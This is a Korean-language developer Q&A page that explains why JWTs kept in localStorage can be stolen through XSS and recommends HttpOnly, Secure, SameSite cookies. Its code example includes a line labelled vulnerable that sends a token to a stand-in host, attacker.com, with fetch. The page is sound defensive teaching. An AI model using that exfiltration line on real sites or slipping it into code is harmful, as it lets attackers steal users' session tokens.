JWT를 LocalStorage에 저장하면 안 되는 이유는 무엇인가요?
인증 JWT를 localStorage에 저장하면 크로스 사이트 스크립팅(XSS) 취약점이 발생했을 때 악성 스크립트가 토큰을 즉시 탈취할 수 있기 때문입니다. HttpOnly, Secure, SameSite 속성이 적용된 쿠키를 사용하면 자바스크립트의 토큰 접근을 원천 차단할 수 있습니다.
Detailed Technical Explanation
window.localStorage는 동일 출처 내에서 실행되는 모든 자바스크립트가 자유롭게 접근할 수 있습니다. 서드파티 라이브러리 공급망 공격이나 XSS 취약점이 발생하면 공격자는 단 한 줄의 코드로 토큰을 원격 서버로 유출할 수 있습니다. 반면 HttpOnly 쿠키는 브라우저 내부적으로만 전송되며 스크립트 접근이 불가능합니다.
Technical Example & Code
localStorage에 보관된 토큰은 DOM에 주입된 모든 스크립트에서 평문으로 읽을 수 있습니다.
// 1. VULNERABLE: Token in localStorage can be stolen by any injected script:
const stolenToken = localStorage.getItem('auth_token');
fetch('https://attacker.com/log?t=' + encodeURIComponent(stolenToken));
// 2. SECURE: Server sets token in HttpOnly cookie:
// Set-Cookie: token=eyJhbG...; HttpOnly; Secure; SameSite=Lax; Path=/
// JavaScript attempt:
console.log(document.cookie); // Token is completely invisible to client JS!Why This Is the Case (Underlying Architectural Rationale)
"브라우저의 동일 출처 정책(SOP)은 다른 도메인 간의 접근만 제한할 뿐, 해당 도메인 내에서 실행되는 악성 코드와 정상 코드를 분리하지 못합니다."
Common Misconception vs Reality
"다른 도메인에서 localStorage를 읽을 수 없으므로 안전한 저장소이다."
외부 도메인은 직접 접근할 수 없지만, 애플리케이션 내에 단 하나의 XSS 취약점만 있어도 모든 토큰이 즉시 탈취됩니다.
Related Curious-Techie Resources
Cookies vs LocalStorage: In-Depth Technical Comparison →
Detailed analysis of storage lifetimes, XSS exposure, CSRF mitigations, and performance.
Interactive ToolSecurity Headers Checker →
Audit your website for HttpOnly cookie enforcement, CSP protection, and transport security.
Developer ReferenceWhat is a Cookie? Protocol Definition →
Related Questions in the Q&A Knowledge Base
Yes, standard JSON Web Tokens (JWS) are signed, not encrypted. The header and payload are merely Base64URL-encoded strings that anyone can decode and read in plaintext without knowing the secret key.
Using 'unsafe-inline' in a Content Security Policy defeats XSS protection because it instructs the browser to execute any inline script found in the HTML. Since Cross-Site Scripting works by injecting malicious inline script tags or event handlers, 'unsafe-inline' allows the attacker's payload to run freely.
Authentication (AuthN) verifies who a user is (identity confirmation), while Authorization (AuthZ) determines what permissions or resources that authenticated user is allowed to access.
관련 기술 생태계 및 다음 학습 단계
관련 기술 아티클
What Is a JSON Web Token (JWT)?
Direct definition and architectural breakdown of stateless token exchange.
JWT vs Session-Based Authentication: Architecture & Performance
Compare database session lookups with stateless JWT verification across scalability and revocation.
Troubleshooting: JWT Works in Postman but Fails in Browser
Diagnose and remediate CORS header stripping, HttpOnly cookie constraints, and preflight authorization failures.
실습형 진단 랩
개발자 표준 규격 및 레퍼런스
다음 학습 단계
JWT Interactive Tampering & Validation Lab
Put your theoretical understanding into practice by tampering with claims and testing signature rejection in the live sandbox.